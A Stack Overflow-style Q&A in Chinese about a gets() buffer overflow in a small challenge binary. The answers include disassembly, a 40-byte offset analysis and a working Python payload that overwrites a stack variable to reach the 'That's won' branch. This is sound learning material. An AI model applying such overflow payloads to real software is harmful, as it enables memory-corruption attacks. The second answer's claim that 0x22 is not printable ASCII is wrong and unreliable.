0

这是缓冲区溢出的二进制文件的摘录。我用 Ghidra 反编译了它。

  char local_7 [32];
  long local_78;

  printf("Give it a try");
  gets(local_7);
      if (local_78 != 0x4141414141414141) {
        if (local_78 == 0x1122334455667788) {
          puts ("That's won")
        }
        puts("Let's continue");
      }

我想了解为什么会导致缓冲区溢出。
我检查了“0x4141414141414141”十六进制值,发现它与“A”字符串有关。但是与“0x4141414141414141”和“0x1122334455667788”相关的条件究竟是做什么的呢?更准确地说,用户可以回答什么来获得消息(“赢了”)?
任何解释将不胜感激,谢谢!

___EDIT ___
我必须补充一点,我在使用“disas main”命令时看到了这两个十六进制值:

0x00000000000011a7 <+8>: movabs $0x4141414141414141,%rax  
0x00000000000011e6 <+71>: movabs $0x4141414141414141,%rax  
0x00000000000011f6 <+87>: movabs $0x1122334455667788,%rax

我尝试使用python3 -c "print ('A' * 32 +'\x88\x77\x66\x55\x44\x33\x22\x11')" | ./ myBinary.
但我总是有"Let's continue"消息。我离解决方案不远,但我想我错过了一件事。你能帮我什么吗?

___EDIT 2 ___ 在获取之前:

  char local_7 [40];
  long local_78;
  
  local_78 = 0x4141414141414141;
  printf("Give it a try");
  fflush(stdout);
  gets(local_7);
  [... and so on]
4

2 回答 2

6

这是完整的反汇编:

(gdb) disassemble main
Dump of assembler code for function main:
   0x0000000000001189 <+0>:     endbr64 
   0x000000000000118d <+4>:     push   %rbp
   0x000000000000118e <+5>:     mov    %rsp,%rbp
   0x0000000000001191 <+8>:     sub    $0x30,%rsp
   0x0000000000001195 <+12>:    lea    0xe68(%rip),%rdi        # 0x2004
   0x000000000000119c <+19>:    mov    $0x0,%eax
   0x00000000000011a1 <+24>:    callq  0x1080 <printf@plt>
   0x00000000000011a6 <+29>:    lea    -0x30(%rbp),%rax
   0x00000000000011aa <+33>:    mov    %rax,%rdi
   0x00000000000011ad <+36>:    mov    $0x0,%eax
   0x00000000000011b2 <+41>:    callq  0x1090 <gets@plt>
   0x00000000000011b7 <+46>:    movabs $0x4141414141414141,%rax
   0x00000000000011c1 <+56>:    cmp    %rax,-0x8(%rbp)
   0x00000000000011c5 <+60>:    je     0x11ef <main+102>
   0x00000000000011c7 <+62>:    movabs $0x1122334455667788,%rax
   0x00000000000011d1 <+72>:    cmp    %rax,-0x8(%rbp)
   0x00000000000011d5 <+76>:    jne    0x11e3 <main+90>
   0x00000000000011d7 <+78>:    lea    0xe34(%rip),%rdi        # 0x2012
   0x00000000000011de <+85>:    callq  0x1070 <puts@plt>
   0x00000000000011e3 <+90>:    lea    0xe33(%rip),%rdi        # 0x201d
   0x00000000000011ea <+97>:    callq  0x1070 <puts@plt>
   0x00000000000011ef <+102>:   mov    $0x0,%eax
   0x00000000000011f4 <+107>:   leaveq
   0x00000000000011f5 <+108>:   retq

重要地址可以通过将gets参数设置为的指令确定local_7

   0x00000000000011a6 <+29>:    lea    -0x30(%rbp),%rax

以及比较变量的cmp指令。local_78

   0x00000000000011c1 <+56>:    cmp    %rax,-0x8(%rbp)

正如您所看到的local_7-0x30(%rbp)local_78缓冲区-0x8(%rbp)之后正好是 40 个字节。

您的 python 命令不正确,因为您使用的字符串操作会导致它产生有效的 UTF-8,因此会产生额外的字节:

$ python3 -c "print ('A' * 40 +'\x88\x77\x66\x55\x44\x33\x22\x11')"|hd -v
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000020  41 41 41 41 41 41 41 41  c2 88 77 66 55 44 33 22  |AAAAAAAA..wfUD3"|
00000030  11 0a                                             |..|
00000032

注意c2之前的字节88。详情请看下面的问题: 为什么python2和python3中的print输出在同一个字符串下不一样?

如果我们改为使用bytes类型,我们可以获得正确的输出:

$ python3 -c "import sys; sys.stdout.buffer.write(b'A' * 40 + b'\x88\x77\x66\x55\x44\x33\x22\x11')"|hd -v
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000020  41 41 41 41 41 41 41 41  88 77 66 55 44 33 22 11  |AAAAAAAA.wfUD3".|
00000030

使用这个输入,我们得到"That's won"消息:

$ python3 -c "import sys; sys.stdout.buffer.write(b'A' * 40 + b'\x88\x77\x66\x55\x44\x33\x22\x11')"|./a.out 
Give it a tryThat's won
Let's continue
于 2021-05-03T12:51:36.353 回答
3

这个二进制文件容易受到缓冲区溢出的影响,因为它使用了易受攻击的 gets() 函数,因此不推荐使用。

它将用户输入复制到传递的缓冲区,而不检查缓冲区的大小。因此,如果用户的输入大于可用空间,它将在内存中溢出,并可能覆盖位于缓冲区之后的其他变量或结构。

变量就是这种情况long local_78;,它位于缓冲区之后的堆栈中,因此我们可能会覆盖它的值。

为此,我们需要传递一个输入:

  • 最少 32 个字节,以填充实际缓冲区。(一个 char(ASCII 字符)通常应该等于 1 个字节)
  • 另外,一个额外的可变字节数来填充缓冲区和long变量之间的空间(这是因为很多时候,编译器会进行优化,并且可能会在这两者之间添加其他变量,即使我们没有将它们放在其中代码。堆栈是一个动态内存区域,因此通常不可能 100% 预测其布局)
  • 另外,8 个字节,这通常是大多数计算机体系结构中 long 的大小(虽然它可能不同,但我们假设这是 x86/64)。这是我们将溢出变量的值。

我们不关心我们在前 32+X 个字节中放入的内容(空字节除外)。然后程序检查 local_78 的一些特殊值,如果检查通过,它将执行puts ("That's won");说你“赢了”或成功地利用了程序并覆盖了内存。

这里的问题是这样的值是 0x1122334455667788 (同样,一个长的,它是 8 个字节)。我们可以读这个分隔它的字节:0x11 0x22 0x33 0x44 0x55 0x66 0x77 0x88,并试图查看哪个字节对应于 ASCII中 的哪个字符问题是像 0x22 这样的字节不是 ASCII 可表示的字符,所以你不能直接将它们输入到控制台,因为普通键盘没有输入字符 0x11 的键,因为它没有视觉表示。您将需要一个额外的程序来利用该程序。此类程序将需要使用操作系统中可用的任何机制来传递此类值。例如,在 Linux 中,这可以使用管道/输出重定向来完成

于 2021-05-10T08:11:18.403 回答